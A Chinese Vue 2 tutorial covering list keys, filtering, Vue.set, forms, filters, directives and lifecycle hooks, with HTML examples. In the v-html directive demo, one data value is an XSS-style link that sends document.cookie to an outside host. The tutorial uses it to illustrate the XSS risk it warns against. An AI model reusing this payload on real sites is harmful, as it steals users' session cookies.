</head><body><!-- 准备一个容器 --><div id="sport"><h2>球类列表(遍历数组)</h2><ul><li v-for="(item, index) in ballArr" :key="item.id">{{item.name}} - {{item.translate}}</li></ul><hr><h2>遍历狗的信息(遍历对象)</h2><ul><li v-for="(value, key) of dog" :key="key">{{key}} - {{value}}</li></ul><hr><h2>遍历字符串 girl(用得较少)</h2><ul><li v-for="(item, index) of str" :key="index">{{item}} - {{index}}</li></ul><hr><h2>遍历指定次数3次(用得较少)</h2><ul><li v-for="(item, index) of 3" :key="index">{{index}} - {{item}}</li></ul></div>
</body></html>

效果:

11.2 key 的原理

问:vue 中 key 有什么作用?

答:key 是虚拟 DOM 对象的标识,当数据发生变化时,Vue 会根据【新数据】生成【新的虚拟DOM】。

问:key 的内部原理是什么?

根据 key 进行【新虚拟DOM】与【旧虚拟DOM】的差异比较(Diff 算法),比较规则如下:

1、旧虚拟 DOM 中找到了与新虚拟 DOM 相同的 key

  1. 若虚拟 DOM 中内容没变,直接使用之前的真实 DOM
  2. 若虚拟 DOM 中内容变了,则生成新的真实 DOM,随后替换掉页面中之前的真实DOM。

2、旧虚拟 DOM 中未找到与新虚拟 DOM 相同的 key

  • 创建新的真实DOM,随后渲染到到页面

问:用 index 作为 key 可能会引发什么问题?

答:

1、若对数据进行:逆序添加、逆序删除等破坏顺序操作,会产生没有必要的真实 DOM 更新 最终效果是:界面效果没问题, 但效率低。

2、如果结构中还包含输入类的 DOM,会产生错误DOM更新,最终效果是:界面有问题。

问:开发中,如何选择 key?

答:

1、最好使用每条数据的唯一标识作为 ke。比如 id、手机号、身份证号、学号等唯一值。一般这些唯一值都是后台数据返回。

2、如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用 index 作为 key 是没有问题的。

反例演示:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>key原理</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {const vm = new Vue({el: "#sport",data: {ballArr: [{ id: "01", name: "足球", translate: "football" },{ id: "02", name: "篮球", translate: "basketball" },{ id: "03", name: "羽毛球", translate: "badminton" },],books: [{ id: "01", bookName: "水浒传", writer: "施耐庵" },{ id: "02", bookName: "三国演义", writer: "罗贯中" },{ id: "03", bookName: "西游记", writer: "吴承恩" },{ id: "04", bookName: "红楼梦", writer: "曹雪芹" },],},methods: {//添加一个球类addBall() {const ball = { id: "004", name: "棒球", translate: "baseball" };this.ballArr.unshift(ball);//unshift:在数组的开头添加一个或多个元素,而原有的元素则依次后移},//添加一个名著addBook() {const book = { id: "005", bookName: "孙子兵法", writer: "孙武" };this.books.unshift(book);//unshift:在数组的开头添加一个或多个元素,而原有的元素则依次后移}}});}</script>
</head><body><!-- 准备一个容器 --><div id="sport"><h2>球类列表(正确做法 key=id)</h2><button @click.once="addBall">添加一个球类</button><ul><li v-for="(item, index) in ballArr" :key="item.id">{{item.name}} - {{item.translate}}<input type="text" placeholder="备注"></li></ul><hr><h2 style="color:red">四大名著(错误做法 key=index)</h2><button @click.once="addBook">添加一个名著</button><ul><li v-for="(item, index) in books" :key="index">{{item.bookName}} - {{item.writer}}<input type="text" placeholder="备注"></li></ul></div>
</body></html>

效果:先在“备注”输入框正常输入,然后分别点击按钮,在 key=index 中出现数据错位。

11.3 列表的筛选和排序

列表的筛选和排序,优先考虑使用“计算属性”来处理。

筛选主要是使用了数组的 filter 函数,排序主要是使用了数组的 sort 函数。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>列表过滤和排序</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {const vm = new Vue({el: "#fruit",data: {keyWord: '',sortType: 0,//排序:默认原顺序fruitArr: [{ id: "01", name: "苹果", price: 10 },{ id: "02", name: "西瓜", price: 3 },{ id: "03", name: "香瓜", price: 12 },{ id: "04", name: "香蕉", price: 8 },{ id: "05", name: "芒果", price: 6 },],},//使用计算属性来处理比较好computed: {filterFruitArr() {const arr = this.fruitArr.filter((f) => {return f.name.indexOf(this.keyWord) !== -1;});//判断是否需要排序if (this.sortType >= 0) {//sortType = 2 升序if (this.sortType === 2) {arr.sort((f1, f2) => {return f1.price - f2.price;//升序是前面减去后面});} else if (this.sortType === 1) {//sortType = 1 降序arr.sort((f1, f2) => {return f2.price - f1.price;//降序是后面减去前面});}}return arr;//返回数组},}});}</script>
</head><body><!-- 准备一个容器 --><div id="fruit"><h2>水果列表</h2><input type="text" placeholder="请输入你要搜索的水果" v-model="keyWord"><button @click="sortType = 2">价格升序</button><button @click="sortType = 1">价格降序</button><button @click="sortType = 0">原顺序</button><ul><li v-for="(item, index) in filterFruitArr" :key="item.id">{{item.id}} - {{item.name}} - {{item.price}}</li></ul></div>
</body></html>

效果:

11.4 Vue 中 set 的使用

11.4.1、添加对象中没有的属性使用 vm.$set 或者 Vue.set

语法:Vue.set(target,propertyName/index,value)

例如:this.$set(this.info, "sex", "女");   或者 Vue.set(this.info, "sex", "女");

11.4.2 增删改数组中的元素

在 Vue 修改数组中的某个元素一定要用如下方法:

  • push():向数组的末尾添加一个或多个元素,并返回新的长度。
  • pop():删除并返回数组的最后一个元素。
  • shift():删除并返回数组的第一个元素。
  • unshift():向数组的开头添加一个或多个元素,并返回新的长度。
  • splice():通过删除现有元素和/或添加新元素来更改一个数组的内容。
  • sort():对数组的元素进行排序,并返回数组。排序不一定是稳定的。默认排序顺序是根据字符串Unicode码点。
  • reverse():颠倒数组中元素的顺序,并返回该数组。数组的第一个元素会变成最后一个,数组的最后一个元素变成第一个。
  • 或者使用 Vue.set() 或者 vm.$set()

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>set的使用</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {const vm = new Vue({el: "#archives",data: {info: {userName: "刘亦菲",age: 18,hobby: ["唱歌", "跳舞", "编程"],courseArr: [{ courseName: "语文", score: 90 },{ courseName: "英语", score: 88 },]},},methods: {addSex() {//添加性别属性this.$set(this.info, "sex", "女");//或者使用//Vue.set(this.info, "sex", "女");},updateSex(value) {//修改性别this.info.sex = value;},addHobby() {//添加爱好this.info.hobby.push("拍戏");},updateHobby(value) {//修改第一个爱好this.$set(this.info.hobby, 0, value);//或者使用Vue.set(this.info.hobby, 0, value);//或者使用this.info.hobby.splice(0, 1, value);},removeCoding() {this.info.hobby = this.info.hobby.filter((h) => {return h !== "编程";})},addCourse(value) {this.info.courseArr.unshift({ courseName: "物理", score: 85 });},updateFirstCourse() {this.info.courseArr[0].courseName = "数学";},}});}</script>
</head><body><!-- 准备一个容器 --><div id="archives"><h2>个人档案</h2><h3>姓名:{{info.userName}}</h3><h3 v-if="info.sex">性别:{{info.sex}}</h3><h3>年龄:{{info.age}}</h3><h3>爱好:</h3><ul><li v-for="(h, index) in info.hobby" :key="index">{{h}}</li></ul><h3>专业成绩:</h3><ul><li v-for="(c, index) in info.courseArr" :key="index">{{c.courseName}} —— {{c.score}}</li></ul><hr><button @click="info.age++">年龄+1岁</button><button @click="addSex">加性别字段</button><button @click="updateSex('保密')">修改性别</button><hr><button @click="addHobby">添加一个爱好</button><button @click="updateHobby('拍电影')">修改第一个爱好</button><button @click="removeCoding">去掉爱好中的编程</button><hr><button @click="addCourse">添加一门课程</button><button @click="updateFirstCourse('数学')">修改第一个课程为:数学</button></div>
</body></html>

效果:

11.5 Vue 监视数据的原理

1、Vue 会监视 data 中所有层次的数据。

2、如果 data 中的数据是对象的形式,Vue 会通过 setter 方法实现监视,且要在 new Vue 时就传入要监视的数据 。

  1. 对象中,后面追加的属性,Vue 默认不做响应式处理。
  2. 如果需要给后面添加的属性做响应式处理,需要使用以下的 API:

          Vue.set(target,propertyName/index,value)   或者

          vm.$set(target,propertyName/index,value)

3、如何监视数组中的数据?

答:Vue 通过包裹数组更新元素的方法实现,本质上就是做了两件事:

1、调用原生 JavaScript 对应的处理数组的方法对数组进行更新

2、重新解析模板,从而更新页面

4、在 Vue 修改数组中的某个元素一定要用如下方法:

  • push():向数组的末尾添加一个或多个元素,并返回新的长度。
  • pop():删除并返回数组的最后一个元素。
  • shift():删除并返回数组的第一个元素。
  • unshift():向数组的开头添加一个或多个元素,并返回新的长度。
  • splice():通过删除现有元素和/或添加新元素来更改一个数组的内容。
  • sort():对数组的元素进行排序,并返回数组。排序不一定是稳定的。默认排序顺序是根据字符串Unicode码点。
  • reverse():颠倒数组中元素的顺序,并返回该数组。数组的第一个元素会变成最后一个,数组的最后一个元素变成第一个。
  • 或者使用 Vue.set() 或者 vm.$set()

5、特别要注意的是: Vue.set() 和 vm.$set() 不能给 vm 或者 vm 的根数据对象添加属性。也就是不能直接给 data 添加属性,需要再加多一层对象,比如:info、student、person 等等。否则会报错:

vue.js:5072 [Vue warn]: Avoid adding reactive properties to a Vue instance or its root $data at runtime - declare it upfront in the data option

12、收集表单数据

1、如果表单组件是 <input type="text"/> ,则 v-model 收集的是 value 的值,用户输入的就是 value 值。

2、如果表单组件是 <input type="radio"/> 单选框,则 v-model 收集的是 value 的值,需要给标签配置 value 值。

3、如果表单组件是 <input type="checkbox"/> 勾选框(复选框),分为2种情况:①没有配置 input 的 value 属性,那么收集的就是 checked(勾选和未勾选,布尔值);②配置了 input 的 value 属性,v-model 的初始值如果是非数组,那么也是收集 checked(勾选和未勾选,布尔值),如果是数组,那么收集的就是 value 组成的数组。

4、v-model 的三个修饰符:

  1. lazy:失去焦点再收集数据,避免频繁的收集数据
  2. number:输入字符串转为有效的数字,一般配合 input type="number" 一起使用
  3. trim:去掉首尾的空格

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>收集表单数据</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {const vm = new Vue({el: "#collectForm",data: {info: {account: "",password: "",age: 20,sex: "male",hobby: [],city: "",introduce: "",agree: ""},},methods: {register() {//模拟注册信息console.log(JSON.stringify(this.info));}}});}</script>
</head><body><!-- 准备一个容器 --><div id="collectForm"><form @submit.prevent="register"><h2>注册信息</h2>账号:<input type="text" v-model.trim="info.account"><br>密码:<input type="password" v-model.trim="info.password"><br>年龄:<input type="number" v-model.number="info.age"><br>性别:男<input type="radio" name="sex" value="male" v-model="info.sex"></input>女<input type="radio" name="sex" value="female" v-model="info.sex"></input><br>爱好:编程<input type="checkbox" v-model="info.hobby" value="coding">泡妞<input type="checkbox" v-model="info.hobby" value="chatWithGirl">逛街<input type="checkbox" v-model="info.hobby" value="shopping"><br>籍贯:<select v-model="info.city"><option value="">请选择省份</option><option value="guangdong">广东</option><option value="guangxi">广西</option><option value="shandong">山东</option><option value="shanxi">山西</option></select><br>自我介绍:<br><textarea v-model.lazy="info.introduce" cols="30" rows="10"></textarea><br><input type="checkbox" v-model="info.agree">阅读并接受<a href="http://www.baidu.com">用户协议</a><br><button>提交表单</button></form></div>
</body></html>

效果:

13、过滤器

1、过滤器的定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。

2、语法:

1、注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}

2、使用过滤器:{{ xxx | 过滤器名}}  或  v-bind:属性 = "xxx | 过滤器名"

3、说明

1、过滤器也可以接收额外参数、多个过滤器也可以串联。

2、并没有改变原本的数据,是产生新的对应的数据。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>过滤器</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><!-- CDN 引入 day.js Day.js 是一个轻量的处理时间和日期的 JavaScript 库 --><script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.9/dayjs.min.js"></script><script>window.onload = function () {//文档加载完成后执行//定义全局过滤器Vue.filter("globalFilter", function (value) {return value.slice(0, 4);})const vm1 = new Vue({el: "#filterContent",data: {time: 1711968456323},computed: {formatTime() {//计算属性实现return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss");}},methods: {//methods实现getFormatTime() {return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss");}},//过滤器实现filters: {filterTime(value, str = "YYYY年MM月DD日 HH:mm:ss") {return dayjs(value).format(str);}}});const vm2 = new Vue({el: "#globalContent",data: {message: "春风又绿江南岸"}});}</script></head><body><!-- 准备一个容器 --><div id="filterContent"><h2>显示格式化后的时间</h2><!-- 计算属性实现 --><h3>计算属性实现,现在是:{{formatTime}}</h3><!-- methods实现 --><h3>methods实现,现在是:{{getFormatTime()}}</h3><!-- 过滤器实现 --><h3>过滤器实现,现在是:{{time | filterTime}}</h3><!-- 过滤器实现(传参) --><h3>过滤器实现(传参) ,现在是:{{time | filterTime('YYYY-MM-DD') | globalFilter}}</h3></div><div id="globalContent"><h2>全局过滤器截取前4位:{{ message | globalFilter}}</h2></div>
</body></html>

效果:

14、内置指令 & 自定义指令

14.1 内置指令

我们之前提到的指令有:

  1. v-bind:单向绑定解析表达式(数据从 data 中流向页面),可以简写为 :xxx
  2. v-model:双向数据绑定(页面与 data 数据互通)
  3. v-for:遍历数组、对象、字符串等
  4. v-on:绑定事件的监听,可以简写为 @
  5. v-if:条件渲染,动态控制节点是否存在
  6. v-else:条件渲染,与 v-if 搭配使用
  7. v-show:条件渲染,动态控制节点是否展示

接下来,继续学习几个指令: 

1、v-text 指令

  • 作用:向其所在的节点中渲染文本内容。
  • 与插值语法的区别:v-text 会替换掉节点中的内容,{{xx}}则不会。

2、v-html 指令

  • 作用:向指定节点中渲染包含 html 结构的内容。
  • 与插值语法的区别:v-html会替换掉节点中所有的内容,{{xx}}则不会。v-html可以识别html结构。
  • v-html 有安全性问题!在网站上动态渲染任意 html 是非常危险的,容易导致 XSS 攻击。一定要在可信的内容上使用 v-html,永不要用在用户提交的内容上!

3、v-cloak 指令

  • v-cloak 指令没有值,本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
  • 使用 css 配合 v-cloak 可以解决网速慢时页面展示出 {{xxx}} 的问题。

4、v-once 指令

  • v-once 所在节点在初次动态渲染后,就视为静态内容了。
  • 以后数据的改变不会引起 v-once 所在结构的更新,可以用于优化性能。

5、v-pre 指令

  • 跳过其所在节点的编译过程。
  • 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>内置指令</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {//文档加载完成后执行new Vue({el: "#instruct",data: {k: 1,good: "干得漂亮!",nice: "<h3 style='color:red'>我是 v-text 指令!</h3>",fine: "<h3 style='color:red'>我是 v-html 指令!</h3>",well: '<a target="_blank" href=javascript:location.href="http://www.baidu.com?"+document.cookie>把 cookie 给你搂出来!</a>',}});}</script></head><body><!-- 准备一个容器 --><div id="instruct"><!-- v-text 指令渲染文本内容 --><div v-text="good"></div><div v-text="nice"></div><hr><!-- v-html 指令渲染包含html结构的内容 --><div v-html="good"></div><div v-html="fine"></div><div v-html="well"></div><hr><!-- v-cloak 指令可以解决网速慢时页面展示出{{xxx}}的问题 --><div v-cloak="good"></div><hr><!-- v-once 初次动态渲染后成为静态内容 --><h3 v-once>刚毕业时工资是:{{k}}万</h3><h3>现在的工资是是:{{k}}万</h3><button @click="k++">点我可以涨薪</button><hr><!-- v-pre指令跳过所在节点的编译 --><h3 v-pre>Vue看到我就直接跳过,不理睬</h3></div>
</body></html>

效果:

14.2 自定义指令

1、语法

1、局部指令

new Vue({directives:{指令名:配置对象}
})或者new Vue({directives:{指令名:回调函数}
})

2、全局指令

Vue.directive(指令名,配置对象)
或者
Vue.directive(指令名,回调函数)

2、配置对象中常用的3个回调

1、.bind(element, binding):指令与元素成功绑定时调用。

2、.inserted(element, binding):指令所在元素被插入页面时调用。

3、.update(element, binding):指令所在模板结构被重新解析时调用。

3、备注

1、指令定义时不加v-,但使用时要加 v-

2、指令名如果是多个单词,要使用 kebab-case 命名方式,不要用 camelCase 驼峰命名。如:focus-bind,且在 js 中的方法名要用引号包住。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>自定义指令</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>/*需求1:定义一个 v-square 指令,把绑定的数值求平方。需求2:定义一个 v-focus-bind 指令,也是求平方,但是每次都要获取页面焦点*/window.onload = function () {//文档加载完成后执行//可以创建全局的自定义指令/*Vue.directive("focus-bind", {//指令与元素成功绑定时(页面初始化)bind(element, binding) {element.value = binding.value * binding.value;//求平方},//指令所在元素被插入页面时inserted(element, binding) {element.focus();//获得焦点},//指令所在的模板被重新解析时update(element, binding) {element.value = binding.value * binding.value;//求平方element.focus();//获得焦点}});*/new Vue({el: "#instruct",data: {m: 1,},//自定义指令使用的函数directives: {//简写的方式square(element, binding) {console.log("square", this);//注意此处的 this 是 window,而不是 Vueelement.innerText = binding.value * binding.value;//求平方},//完整写法//如果出现连接符号,需要使用引号把字符串包起来"focus-bind": {//指令与元素成功绑定时(页面初始化)bind(element, binding) {element.value = binding.value * binding.value;//求平方},//指令所在元素被插入页面时inserted(element, binding) {element.focus();//获得焦点},//指令所在的模板被重新解析时update(element, binding) {element.value = binding.value * binding.value;//求平方element.focus();//获得焦点}}}});}</script></head><body><!-- 准备一个容器 --><div id="instruct"><h2>当前 m 的值为:{{m}}</h2><h2>m 的平方为:<span v-square="m"></span></h2><button @click="m++">点我工资 m+1</button><hr>m 的平方为(获得焦点):<input type="text" v-focus-bind:value="m"></div>
</body></html>

效果:

15、生命周期

15.1 生命周期的概念

Vue 的生命周期,又叫:生命周期回调函数、生命周期函数或者生命周期钩子。

15.2 生命周期的作用是什么?

Vue在关键时刻帮我们调用的一些特殊名称的函数,让程序员可以在这些特殊的函数执行特定的逻辑。

另外

1、生命周期的函数名字是不可更改的,是 Vue 体系中定义好的,但函数的具体逻辑可以由程序员根据需求来编写。

2、生命周期函数中的 this 指向是 vm 或组件实例对象。

15.3 生命周期涉及到的函数

通常,Vue 的生命周期中主要涉及 8 个函数,也称 4 对函数(成对出现),分别是:

  1. beforeCreate():初始化:事件和生命周期。此时数据代理还未开始(也就是 vm 还没有创建好),无法通过 vm 访问到 data 中的数据以及 methods 中的数据和其它 vm 中的数据。

  2. created():初始化完成:数据监测、数据代理。此时,可以通过 vm 访问到 data 中的数据,methods 中的配置方法等。

  3. beforeMount():初始化挂载。此时 vm 在内存中生成虚拟 DOM,页面呈现的是未经过 Vue 编译的 DOM 结构,页面还不能显示解析好的内容。所有对 DOM 的操作都将被 vm 在后续编译出来的 DOM 覆盖。

  4. mounted():挂载完成。此时页面中呈现的是经过 vm 编译的 DOM,对 DOM 的操作均有效。至此初始化完成,一般后续会进行:开启定时器、发送网络请求、订阅消息、绑定自定义事件等操作。

  5. beforeUpdate():数据更新之前。此时,数据在 vm 的内存中是新的,但是页面仍然是旧的。新的虚拟 DOM 与旧的虚拟 DOM 通过 DIFF 算法进行比较,并进行 Model ——> View 的更新。

  6. updated():数据更新完成。此时 vm 中的数据是新的,页面也是新的,即完成了页面和数据的同步。

  7. beforeDestroy():销毁之前。此时 vm 中所有的 data、methods、指令等还处于可用状态,但是不再更新到页面!马上要执行销毁过程。一般在此阶段,会关闭定时器、取消订阅消息、解绑自定义事件等收尾工作。

  8. destroyed():销毁完成。此时 vm 不复存在,原来受 vm 管控的数据和组件等等全部失效。但是不影响非 vm 管控的内容。

代码示例:

<!DOCTYPE html>
<html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>生命周期</title><!-- 本地引入 vue.js 库 --><script src="../js/vue.js"></script><script>window.onload = function () {//文档加载完成后执行new Vue({el: "#lifeCycle",data: {poetry: "少壮不努力,老大徒伤悲",k: 1,},methods: {add() {console.log("点击了 add");this.k++;},goodbye() {console.log("点击了 goodbye");this.$destroy();}},watch: {k() {console.log("检测到 k 变化了");}},//初始化:事件和生命周期beforeCreate() {console.log("beforeCreate:此时数据代理还未开始,无法通过 vm 访问到 data 中的数据以及 methods 中的数据和其它 vm 中的数据。");},//初始化完成:数据监测、数据代理created() {console.log("created:此时,可以通过 vm 访问到 data 中的数据,methods 中的配置方法等。");},//初始化挂载beforeMount() {console.log("beforeMount:此时 vm 在内存中生成虚拟 DOM,页面呈现的是未经过 Vue 编译的 DOM 结构,页面还不能显示解析好的内容。所有对 DOM 的操作都将被 vm 在后续编译出来的 DOM 覆盖。");},//挂载完成mounted() {console.log("mounted:此时页面中呈现的是经过 vm 编译的 DOM,对 DOM 的操作均有效。至此初始化完成,一般后续会进行:开启定时器、发送网络请求、订阅消息、绑定自定义事件等操作。");},//数据更新之前beforeUpdate() {console.log("beforeUpdate:此时,数据在 vm 的内存中是新的,但是页面仍然是旧的。新的虚拟 DOM 与旧的虚拟 DOM 通过 DIFF 算法进行比较,并进行 Model ——> View 的更新。");},//数据更新完成updated() {console.log("updated:此时 vm 中的数据是新的,页面也是新的,即完成了页面和数据的同步。");},//销毁之前beforeDestroy() {this.add();console.log("调用 add 方法,此时的 k=" + this.k);console.log("beforeDestroy:此时 vm 中所有的 data、methods、指令等还处于可用状态,但是不再更新到页面!马上要执行销毁过程。一般在此阶段,会关闭定时器、取消订阅消息、解绑自定义事件等收尾工作。");},//销毁完成destroyed() {console.log("destroyed:销毁完成,此时 vm 不复存在,原来受 vm 管控的数据和组件等等全部失效。但是不影响非 vm 管控的内容。");}});}</script></head><body><!-- 准备一个容器 --><div id="lifeCycle"><h2>当前工资是:{{k}}万</h2><h2>{{poetry}}</h2><button @click="add">点我可以涨薪</button><button @click="goodbye">点我离职</button></div>
</body></html>

效果:

说明:

在销毁阶段 beforeDestroy(),即使我们再调用 add 方法,让 k 值增加,但是,vm 并不会再更新到页面中,因为它觉得这个阶段再去做一些更新操作也是徒劳。而是做一些收尾的工作。比如关闭定时器、取消订阅消息等等。春蚕到死丝方尽,蜡炬成灰泪始干。

原理图:

关于销毁 Vue 实例

1、销毁后借助 Vue 开发者工具看不到任何信息。

2、销毁后,自定义事件会失效,但原生 DOM 事件依然有效。

3、一般不会在 beforeDestroy 操作数据,因为即便操作数据,也不会再触发更新流程了。

 — end —

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/587743.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

大话设计模式之抽象工厂模式

抽象工厂模式&#xff08;Abstract Factory Pattern&#xff09;是一种创建型设计模式&#xff0c;它提供了一种方式来创建一系列相关或依赖对象的家族&#xff0c;而无需指定其具体类。该模式通过提供一个抽象工厂接口&#xff0c;定义了一组可以创建不同类型对象的方法&#…

水泥设备如何实现物联网远程监控?

水泥设备如何实现物联网远程监控&#xff1f; 在当今的工业4.0时代&#xff0c;水泥行业正在经历一场深度的技术革新&#xff0c;其中构建智慧工厂并采用物联网远程监控解决方案成为了提升生产效率、保障产品质量、实现节能减排的关键路径。该方案通过集成先进的信息技术、物联…

StreamingT2V文本生成视频多模态大模型,即将开源!

1、前言 Picsart人工智能研究所、德克萨斯大学和SHI实验室的研究人员联合推出了StreamingT2V视频模型。通过文本就能直接生成2分钟、1分钟等不同时间&#xff0c;动作一致、连贯、没有卡顿的高质量视频。 虽然StreamingT2V在视频质量、多元化等还无法与Sora媲美&#xff0c;但…

57 npm run build 和 npm run serve 的差异

前言 npm run serve 和 npm run build 的差异 这里主要是从 vue-cli 的流程 来看一下 我们经常用到的这两个命令, 他到传递给 webpack 打包的时候, 的一个具体的差异, 大致是配置了那些东西? 经过了那些流程 ? vue-cli 的 vue-plugin 的加载 内置的 plugin 列表如下, 依次…

Oracle常用sql命令(新手)

1、备份单张表 创建复制表结构 create table employeesbak as select * from cims.employees 如果只复制表结构&#xff0c;只需要在结尾加上 where 10 插入数据 insert into employeesbak select * from cims.employees 删除一条数据 delete from…

Centos8/linux/虚拟机安装docker

docker分为ce版和ee版&#xff0c;像一般的小型团体和个人使用ce版就够了&#xff0c;别问为什么&#xff0c;问就是ee版收费。 1.首先切换到root用户 2.为确保安装时出现不必要的问题&#xff0c;先更新一下yum包 sudo yum update 3.如果之前安装过需要删除之间安装的CE版…

linux自动下载rpm的依赖包的方法

背景 rpm安装包是存在依赖关系的。通常在离线安装的时候&#xff0c;没有下全依赖包&#xff0c;安装就会失败。 分析 1.首先我们要使用yumdownloader来下载指定的包。 yumdownloader --disablerepo* --enablerepobase,epel,extras --releasever7 --archx86_64 --downloadd…

Flutter应用在苹果商店上架前的准备工作与注意事项

引言 &#x1f680; Flutter作为一种跨平台的移动应用程序开发框架&#xff0c;为开发者提供了便利&#xff0c;使他们能够通过单一的代码库构建出高性能、高保真度的应用程序&#xff0c;同时支持Android和iOS两个平台。然而&#xff0c;完成Flutter应用程序的开发只是第一步…

Codeforces Round 932 (Div. 2) ---- E. Distance Learning Courses in MAC ---- 题解

E. Distance Learning Courses in MAC&#xff1a; 题目大意&#xff1a; 思路解析&#xff1a; // 对于这种二进制多个数计算答案&#xff0c;我们应该灵敏的想到是否可以通过枚举二进制位来计算答案。 就是对每一个查询找出或和的最大值&#xff0c;那我们想xi 和 yi中哪些…

爬虫 红网时刻 获取当月指定关键词新闻 并存储到CSV文件

目标网站&#xff1a;红网 爬取目的&#xff1a;为了获取某一地区更全面的在红网已发布的宣传新闻稿&#xff0c;同时也让自己的工作更便捷 环境&#xff1a;Pycharm2021&#xff0c;Python3.10&#xff0c; 安装的包&#xff1a;requests&#xff0c;csv&#xff0c;bs4&…

非关系型数据库(缓存数据库)redis的高可用(持久化)

目录 1.redis的高可用 2.Redis持久化 1.Redis 提供两种方式进行持久化 2.RDB持久化 2.1触发条件 2.1.1手动触发 2.1.2自动触发 2.1.3其他自动触发机制 2.2执行流程 ​编辑 2.3 启动时加载 3.AOF持久化 3.1开启AOF 3.2 执行流程 3.2.1append——命令追加 3.…

【OpenCV-颜色空间】

OpenCV-颜色空间 ■ RGB■ BGR■ HSV■ HSL■ HUE■ YUV ■ RGB ■ BGR BGR 就是RGB R和B调换位置。 OpenCV 默认使用BGR ■ HSV ■ HSL ■ HUE ■ YUV